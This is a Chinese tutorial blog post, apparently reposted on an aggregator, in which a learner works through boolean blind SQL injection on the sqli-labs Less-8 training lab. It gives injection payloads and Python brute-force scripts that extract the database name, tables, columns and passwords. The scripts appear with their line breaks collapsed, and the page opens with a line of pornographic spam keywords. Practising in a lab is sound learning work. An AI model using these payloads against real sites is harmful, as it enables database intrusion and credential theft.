日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

sql注入学习——布尔盲注

發布時間:2024/9/30 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql注入学习——布尔盲注 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:之前通過前九關學習到了回顯注入、報錯注入等一些方法,這次就來詳細的學習布爾盲注

首先來了解一下盲注的概念

盲注是注入的一種,指的是在不知道數據庫返回值的情況下對數據中的內容進行猜測,實施SQL注入。

布爾盲注

原理:
注入的時候只會返回True和False,所以布爾盲注就是根據頁面顯示的是True還是False進行猜測數據庫中的信息。

布爾盲注需要幾個函數的輔助,就先來了解一下這幾個函數

length()函數可返回字符串的長度 substring()函數可以截取字符串,可指定開始的位置和截取的長度 ord()函數可以返回單個字符的ASCII碼 char()函數可將ASCII碼轉換為對應的字符

具體的用法可以參考大佬的博客Mysql語法介紹,接下來就通過sql-labs練習布爾盲注。

判斷注入點(也就是閉合符號)
發現輸入id=1'會報錯

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'

在id=1'后再加上注釋符號后又回顯正確,所以判定閉合符號為'

爆數據庫長度
知道閉合符號后,先來爆一下數據庫名的長度,這里就用到上面所說的函數了

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+

回顯正確

手工注入的話就要一遍一遍的試試,將后面的長度不斷增大,最后得出數據庫名的長度為8

爆數據庫名
知道了數據庫名的長度,接下來就來爆破數據庫名

Less-8/?id=1' and ord(substr(database(),1,1))>99 --+ Less-8/?id=1' and ascii(substr((database()),1,1)) > 99 --+ Less-8/?id=1' and ascii(substr((database()),1,1)) = 99 --+

原理都一樣,目的就是取出數據庫名中的一個字符通過比較ascii碼來猜測出數據庫名,但是如果手動爆的話太浪費時間了,可以寫腳本,也可以用burp爆破,這里兩種方法都試一下

burp爆破
先抓包

設置變量,這里設置了兩個變量所以上面的框中要選第四個選項

第一個變量設置為numbers 1到8,第二個變量也設置為numbers 0到127

分別設置好,然后開始爆破。
不過太慢了,應該是我burp設置的有問題,這里就學習一下這種方法,爆破還是腳本來吧。

附上大佬博客利用burp盲注
腳本爆破
目前腳本還不會寫,就參考大佬的學習一下
大佬博客布爾盲注
腳本中一些不太懂的語法就參考下面大佬的博客
Python requests
Python——入門級(定義功能def函數)
格式化輸出字符串

import requests def database_len():for i in range(1,10):url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''payload = '''?id=1' and length(database())>%s''' %i #格式化輸出字符串# print(url+payload+'%23')r = requests.get(url+payload+'%23')if 'You are in' in r.text:print(i)else:#print('false')print('database_length:',i)break database_len()def database_name():name = ''for j in range(1,9):for i in 'sqcwertyuioplkjhgfdazxvbnm':url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)# print(url+'%23')r = requests.get(url+'%23')if 'You are in' in r.text:name = name+iprint(name)breakprint('database_name:',name)database_name()


爆出了數據庫名和長度,接下來改payload爆出表名
payload:

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>90 --+

修改一下腳本

import requestsdef table_name():name = ''for j in range(1,9):for i in 'sqcwertyuioplkjhgfdazxvbnm':url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)# print(url+'%23')r = requests.get(url+'%23')if 'You are in' in r.text:name = name+iprint(name)breakprint('table_name:',name)table_name()

通過修改 limit 0,1 來獲取其他表名

爆出列名
payload:

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+

修改腳本,跑出列名

import requestsdef column_name():name = ''for j in range(1,9):for i in 'sqcwertyuioplkjhgfdazxvbnm':url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')" %(j,i)# print(url+'%23')r = requests.get(url+'%23')if 'You are in' in r.text:name = name+iprint(name)breakprint('column_name:',name)column_name()


其他的修改limit后的值即可得出其他的列名

爆值

?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+

腳本還和上面的相同,只不過改下payload,但是這個腳本是有缺陷的,就是在遍歷,但是我們賦給i的字符只有小寫的,有可能其他大寫的或特殊符號顯示不出來,只要加上就行了。但是這樣做的話腳本跑的也會很慢,還是好好學習python,寫一個更加便捷的。

最后總結一下布爾盲注常用語句

爆數據庫長度

?id=1' and (length(database()))>1 --+

爆數據庫名

?id=1' and (ascii(substr(database(),1,1)))>1 --+

爆表名

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>1 --+

爆列名

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>1 --+

爆值

?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>1--+

語句幾乎不變,根據需要加以改動即可,這次就先學習布爾盲注,接下來學習時間盲注。

總結

以上是生活随笔為你收集整理的sql注入学习——布尔盲注的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。